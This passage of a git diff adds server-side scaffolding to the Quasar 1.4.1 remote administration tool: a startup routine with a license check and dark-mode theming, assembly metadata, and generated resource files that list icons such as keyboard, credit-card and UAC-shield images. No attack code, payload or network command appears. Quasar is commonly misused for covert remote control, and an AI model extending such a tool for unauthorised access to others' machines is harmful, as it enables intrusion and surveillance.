System.Windows.Forms; + +namespace Quasar.Server +{ + internal static class Program + { + [STAThread] + private static void Main() + { + try + { + DebugLogger.Log("Application starting"); + + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + DebugLogger.Log("TLS 1.2 enabled"); + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + DebugLogger.Log("Visual styles enabled"); + + // Initialize dark mode globally + DarkModeHelper.Initialize(); + DebugLogger.Log("Dark mode helper initialized"); + + // Apply dark mode to all forms automatically + if (Models.Settings.DarkMode) + { + DebugLogger.Log("Dark mode is enabled, starting timer"); + // Use a timer to periodically check for new forms and apply dark mode + var darkModeTimer = new System.Windows.Forms.Timer(); + darkModeTimer.Interval = 100; + darkModeTimer.Tick += (s, e) => + { + foreach (Form form in Application.OpenForms) + { + if (form.Tag == null || !form.Tag.Equals("DarkModeApplied")) + { + Utilities.ThemeManager.ApplyTheme(form); + form.Tag = "DarkModeApplied"; + } + } + }; + darkModeTimer.Start(); + } + + // Check license before starting + DebugLogger.Log("Checking license"); + if (!FrmLicense.CheckLicense()) + { + DebugLogger.Log("License check failed, showing license form"); + using (var licenseForm = new FrmLicense()) + { + if (licenseForm.ShowDialog() != DialogResult.OK) + { + DebugLogger.Log("License not activated, exiting"); + return; // Exit if license not activated + } + } + } + + DebugLogger.Log("Starting main form"); + Application.Run(new FrmMain()); + DebugLogger.Log("Application exited normally"); + } + catch (Exception ex) + { + DebugLogger.LogException("Main", ex); + MessageBox.Show($"Fatal error: {ex.Message}\n\nCheck QuasarDebug.txt on Desktop for details.", + "Quasar Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..1d180d8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("Quasar Server")] +[assembly: AssemblyDescription("Remote Administration Tool")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Server.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs b/Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs new file mode 100755 index 0000000..9b8bffd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs @@ -0,0 +1,683 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Server.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Server.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap actions { + get { + object obj = ResourceManager.GetObject("actions", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_add { + get { + object obj = ResourceManager.GetObject("application_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_cascade { + get { + object obj = ResourceManager.GetObject("application_cascade", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_delete { + get { + object obj = ResourceManager.GetObject("application_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_edit { + get { + object obj = ResourceManager.GetObject("application_edit", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_go { + get { + object obj = ResourceManager.GetObject("application_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap arrow_down { + get { + object obj = ResourceManager.GetObject("arrow_down", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap arrow_up { + get { + object obj = ResourceManager.GetObject("arrow_up", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap bricks { + get { + object obj = ResourceManager.GetObject("bricks", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap broom { + get { + object obj = ResourceManager.GetObject("broom", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap camera { + get { + object obj = ResourceManager.GetObject("camera", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap cancel { + get { + object obj = ResourceManager.GetObject("cancel", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap cog { + get { + object obj = ResourceManager.GetObject("cog", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap computer { + get { + object obj = ResourceManager.GetObject("computer", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap drive_go { + get { + object obj = ResourceManager.GetObject("drive_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder { + get { + object obj = ResourceManager.GetObject("folder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap information { + get { + object obj = ResourceManager.GetObject("information", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap key_go { + get { + object obj = ResourceManager.GetObject("key_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_add { + get { + object obj = ResourceManager.GetObject("keyboard_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_delete { + get { + object obj = ResourceManager.GetObject("keyboard_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_magnify { + get { + object obj = ResourceManager.GetObject("keyboard_magnify", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized string similar to MIT License + /// + ///Copyright (c) 2023 MaxXor + /// + ///Permission is hereby granted, free of charge, to any person obtaining a copy + ///of this software and associated documentation files (the "Software"), to deal + ///in the Software without restriction, including without limitation the rights + ///to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + ///copies of the Software, and to permit persons to whom the Software is + ///furnished to do so, subject to the following conditions: + /// + ///The above copyright notice [rest of string was truncated]";. + /// + internal static string License { + get { + return ResourceManager.GetString("License", resourceCulture); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap lightning { + get { + object obj = ResourceManager.GetObject("lightning", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap monitor { + get { + object obj = ResourceManager.GetObject("monitor", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap monitoring { + get { + object obj = ResourceManager.GetObject("monitoring", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_add { + get { + object obj = ResourceManager.GetObject("mouse_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_delete { + get { + object obj = ResourceManager.GetObject("mouse_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap page_copy { + get { + object obj = ResourceManager.GetObject("page_copy", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Quasar_Server { + get { + object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap refresh { + get { + object obj = ResourceManager.GetObject("refresh", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap registry { + get { + object obj = ResourceManager.GetObject("registry", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap restart { + get { + object obj = ResourceManager.GetObject("restart", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap save { + get { + object obj = ResourceManager.GetObject("save", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server { + get { + object obj = ResourceManager.GetObject("server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_add { + get { + object obj = ResourceManager.GetObject("server_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_delete { + get { + object obj = ResourceManager.GetObject("server_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_disconnect { + get { + object obj = ResourceManager.GetObject("server_disconnect", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_go { + get { + object obj = ResourceManager.GetObject("server_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_link { + get { + object obj = ResourceManager.GetObject("server_link", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap shutdown { + get { + object obj = ResourceManager.GetObject("shutdown", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap standby { + get { + object obj = ResourceManager.GetObject("standby", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap shield { + get { + object obj = ResourceManager.GetObject("shield", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap database_go { + get { + object obj = ResourceManager.GetObject("database_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap briefcase { + get { + object obj = ResourceManager.GetObject("briefcase", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap package_go { + get { + object obj = ResourceManager.GetObject("package_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap disk { + get { + object obj = ResourceManager.GetObject("disk", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap coins { + get { + object obj = ResourceManager.GetObject("coins", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap creditcards { + get { + object obj = ResourceManager.GetObject("creditcards", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder_go { + get { + object obj = ResourceManager.GetObject("folder_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap terminal { + get { + object obj = ResourceManager.GetObject("terminal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap textfield_rename { + get { + object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap transmit_blue { + get { + object obj = ResourceManager.GetObject("transmit_blue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap uac_shield { + get { + object obj = ResourceManager.GetObject("uac_shield", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap user { + get { + object obj = ResourceManager.GetObject("user", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap world_go { + get { + object obj = ResourceManager.GetObject("world_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap world_link { + get { + object obj = ResourceManager.GetObject("world_link", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap error { + get { + object obj = ResourceManager.GetObject("error", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap bug { + get { + object obj = ResourceManager.GetObject("bug", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap lock1 { + get { + object obj = ResourceManager.GetObject("lock1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap key { + get { + object obj = ResourceManager.GetObject("key", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Resources.resx b/Quasar-1.4.1/Quasar.Server/Properties/Resources.resx new file mode 100755 index 0000000..081470d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Resources.resx @@ -0,0 +1,321 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Images\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_cascade.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\user.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitoring.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\uac_shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cog.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\database_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\briefcase.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\package_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\disk.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\coins.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\creditcards.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + + ..\Images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\Icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_edit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\camera.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\error.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\bug.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\lock.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\key.png;System.Drawing.Bitmap, 